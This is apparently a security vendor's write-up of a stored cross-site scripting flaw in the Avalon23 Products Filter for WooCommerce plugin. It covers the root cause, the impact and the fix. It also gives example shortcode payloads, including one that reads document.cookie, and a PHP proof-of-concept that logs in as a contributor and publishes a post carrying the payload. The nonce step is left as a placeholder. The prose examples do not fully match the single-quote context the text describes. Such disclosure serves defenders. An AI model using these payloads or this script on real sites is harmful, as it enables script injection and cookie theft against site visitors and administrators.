Atomic Edge analysis of CVE-2026-8865 (metadata-based): This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Avalon23 Products Filter for WooCommerce plugin version 1.1.6 and earlier. The plugin fails to sanitize and escape user-supplied attributes in the ‘avalon23_qr’ shortcode, specifically ‘title’ and ‘fixed_link’. These attributes are concatenated directly into single-quoted HTML attributes by the AVALON23_HELPER::draw_html_item() helper without esc_attr() or any other encoding. An attacker with Contributor-level access or above can inject arbitrary web scripts through the shortcode attributes. The CVSS v3.1 score is 6.4 (Medium) with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, indicating a network-based attack with low complexity, low privileges required, and no user interaction, with a scope change to allow limited confidentiality and integrity impact.
Root Cause: The root cause is the lack of proper input sanitization and output escaping on shortcode attributes ‘title’ and ‘fixed_link’ within the avalon23_qr shortcode handler. The plugin’s AVALON23_HELPER::draw_html_item() function directly injects these user-controlled values into single-quoted HTML attributes without applying WordPress’s esc_attr() function or other encoding mechanisms. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation). Atomic Edge analysis infers this from the CVE description and CWE classification; no source code was confirmed.
Exploitation: An authenticated user with at least Contributor-level permissions can create or edit a post (or page) and insert the vulnerable shortcode ‘avalon23_qr’ with malicious payloads in either the ‘title’ or ‘fixed_link’ attribute. For example: [avalon23_qr title=” onfocus=alert(1) autofocus=] or [avalon23_qr fixed_link=” onclick=alert(document.cookie) //]. Because the attribute is placed inside single quotes in the HTML output, the attacker must break out of the single-quote context. The payload will be stored in the post content and executed in the browser of any user who views the page. No specific AJAX action or REST endpoint is involved; the attack vector is via the standard WordPress shortcode rendering mechanism.
Remediation: The vendor must release a patched version that properly sanitizes shortcode attributes before they are used in HTML output. For the ‘title’ and ‘fixed_link’ attributes, the plugin should apply WordPress’s sanitize_text_field() on input and esc_attr() on output within the shortcode handler or the draw_html_item() helper. Specifically, before concatenating these values into the HTML attribute string, the plugin must call esc_attr($value) to encode single quotes and other special characters. Since no patched version is currently available, users should disable the plugin or remove the vulnerable shortcode from any content.
Impact: Successful exploitation allows an attacker with low-level privileges (Contributor) to inject arbitrary JavaScript into WordPress pages. This can lead to session hijacking, cookie theft, defacement, redirection to malicious sites, or phishing attacks. Since the XSS is stored and executes on every page view, a single injection can affect all site visitors, including administrators. If an administrator views the compromised page, the attacker could potentially create new admin accounts or install malicious plugins, escalating privileges beyond the initial Contributor level. The CVSS impact values (Confidentiality Low, Integrity Low) reflect the likely limited direct access, but chained with other vulnerabilities or social engineering, the real-world impact can be significantly higher.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8865 - Avalon23 Products Filter for WooCommerce <= 1.1.6 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
// Configuration: Set these variables before running
$target_url = 'http://target-wordpress-site.com'; // Base URL of the WordPress site
$username = 'contributor_user'; // Contributor-level user
$password = 'password_here'; // User's password
// Payload: Break out of single-quoted HTML attribute and inject JS
$malicious_title = "' onfocus='alert(1)' autofocus='";
$malicious_fixed_link = "' onclick='alert(document.cookie)' //";
// Step 1: Authenticate to WordPress
echo "[*] Authenticating as $username...n";
// Login via wp-login.php
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies_cve8865.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("[ERROR] Login failed. HTTP code $http_coden");
}
echo "[+] Login successful.n";
// Step 2: Get a fresh nonce for creating a post
// We need the AJAX endpoint to get the nonce, but easier: access the post-new.php page and extract nonce from edit page.
// For simplicity, we assume we have an existing post ID or we create a new post via REST API.
// Note: This PoC uses the WordPress REST API to create a post as the authenticated user.
$rest_url = $target_url . '/wp-json/wp/v2/posts';
// Generate the shortcode with payload
$shortcode = '[avalon23_qr title="' . $malicious_title . '" fixed_link="' . $malicious_fixed_link . '" ][/avalon23_qr]';
$post_data = [
'title' => 'Test Post - CVE-2026-8865',
'content' => $shortcode,
'status' => 'publish'
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $rest_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($post_data),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . get_nonce_via_rest($target_url, '/tmp/cookies_cve8865.txt')
],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/cookies_cve8865.txt',
CURLOPT_COOKIEJAR => '/tmp/cookies_cve8865.txt',
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post = json_decode($response, true);
echo "[+] Post created successfully. View it at: " . $post['link'] . "n";
echo "[+] The stored XSS payload is: $shortcoden";
echo "[+] Payload will execute when any user visits the post page.n";
} else {
echo "[ERROR] Failed to create post. HTTP $http_coden";
echo "Response: $responsen";
}
// Helper function - not included in main flow for brevity, but defined here
function get_nonce_via_rest($base_url, $cookie_file) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $base_url . '/wp-json/wp/v2/posts',
CURLOPT_HTTPHEADER => ['X-WP-Nonce: placeholder'],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);
// Extract X-WP-Nonce from response headers (if available) - this is a simplified method
// In real scenario, you would parse the admin page for _wpnonce
return 'PLACEHOLDER_NONCE'; // Replace with actual nonce extraction logic
}
?>